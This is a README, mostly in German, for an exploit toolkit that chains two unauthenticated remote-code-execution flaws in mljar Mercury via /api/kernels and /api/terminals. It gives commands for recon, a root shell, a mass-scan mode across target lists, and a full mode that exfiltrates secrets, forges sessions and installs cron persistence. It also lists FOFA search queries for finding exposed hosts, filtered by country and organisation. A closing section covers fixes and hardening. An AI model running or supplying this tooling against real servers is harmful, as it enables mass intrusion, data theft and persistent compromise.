Mercury unauth RCE combo: CVE-2026-111058 (Kernels) + CVE-2026-111057 (Terminals). Von 0xNuts (@ExDev994). Nur autorisierte Tests.
Mercury-Unauth-RCE-Kombi-Toolkit (Kernel + Terminals).
Toolkit, das zwei unauthentifizierte RCEs in mljar/mercury kombiniert:
| CVE | Advisory | Vektor |
|---|---|---|
| CVE-2026-111058 | GHSA-rv4m-xm3f-3ccq | /api/kernels + execute_request |
| CVE-2026-111057 | GHSA-f8c7-rwf9-fmgm | Umgehung der Blockliste von /api/terminals |
Autor: 0xNuts (ExDev994)
Nur für autorisierte Tests (lokales Labor / Ziele mit schriftlicher Genehmigung). Missbrauch an nicht autorisierten Systemen ist illegal.
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python exploit.py --lab
Warten Sie, bis Docker den Build abgeschlossen hat, dann:
| URL | Aktive CVEs |
|---|---|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | nur CVE-2026-111058 (Mercury 3.2.5) |
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
Bearbeite targets.txt (eine URL pro Zeile), dann:
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
Auto-Port (nur im Modus mass): Wenn eine Zeile ohne Port vorliegt (z. B. example.com), versucht das Tool der Reihe nach:
http://example.com → 80, oder https:// → 443)Es stoppt bei der ersten anfälligen URL. Zeilen, die bereits einen Port haben (http://host:8883), werden nicht erweitert.
Beispiel targets.txt:
# tanpa port → auto-fallback
example.com
mercury.internal
# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888
Terminal (ausführlich): jeder getestete Port + Endstatus pro Zielzeile:
example.com [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com [not vuln]
evil.com:8888 [trying...]
evil.com:8888 [vuln] [uid=0(root) gid=0(root) groups=0(root)]
Datei results.txt — nur die verwundbaren (append):
http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]
python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron
Ablauf: recon → RCE → Exfiltrations-Secret → Versuch, Session zu fälschen → Persistenz.
| Flag | Funktion |
|---|---|
-t / --target | Mercury-URL (http://host:port) |
-m / --mode | recon, rce, exfil, full, persist, mass |
--sink | auto, kernels, terminals |
-tf | Datei mit Zielliste (Modus mass) |
-rf | Datei mit Vuln-Ergebnissen (Modus mass) |
-th | Anzahl der Threads für Mass-Scan |
--lab | docker compose up im Ordner lab/ |
POST /api/terminals und POST /api/kernels zum Fingerprinting der Version.kernels (Stealth), Fallback terminals (interaktive Shell).idle_timeout.py, optional Cron (Lab).Deterministisches PoC schreibt den Marker /tmp/PWNED_MERCURY_RCE (siehe poc/payloads.py).
mercury-combo/
├── exploit.py
├── mercury_combo/ # modul inti
├── lab/ # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/ # payload marker
FOFA hilft nur dabei, Kandidaten für Exposures zu finden – keine Schwachstellenbeweise. Validiere immer manuell und halte dich an den Berechtigungsumfang.
Beginne eng (Branding):
title="Mercury"
body="runmercury" || body="mljar-mercury"
Verschärfen (Jupyter + Mercury):
(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"
Geografischer / organisatorischer Geltungsbereich (Beispiel):
title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"
Nachdem Sie einen Host erhalten haben, verifizieren Sie mit diesem Toolkit (-m recon oder -m mass im Labor/mit Genehmigung), scannen Sie nicht massenhaft ohne Autorisierung.
| Problem | CVE / Advisory | Fix |
|---|---|---|
Fehlendes Komma in BLOCKED_PATTERNS → /api/terminals wird durchgelassen | GHSA-f8c7-rwf9-fmgm | Upgrade auf ≥ 3.2.4 (Patch-Commit in v3.2.4). Stellen Sie sicher, dass /api/terminals tatsächlich blockiert wird. |
/api/kernels kann weiterhin execute_request ohne Authentifizierung ausführen | GHSA-rv4m-xm3f-3ccq | Blocklist ist nicht ausreichend — Authentifizierung (Jupyter-Token/Passwort) ist standardmäßig erforderlich; stellen Sie token='' nicht ins Internet. Verfolgen Sie Mercury-Releases > 3.2.5 für den offiziellen Patch. |
Hardening-Checkliste:
8888 (oder den Mercury-Port) nicht direkt ins Internet stellen; hinter VPN oder Reverse Proxy mit Auth (OAuth, mTLS, IP-Allowlist) platzieren.POST /api/kernels + POST /api/terminals von anonymen IPs; Spike bei WebSocket zu /api/kernels/*/channels und /terminals/websocket/*.Verifizierung nach dem Patch:
# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'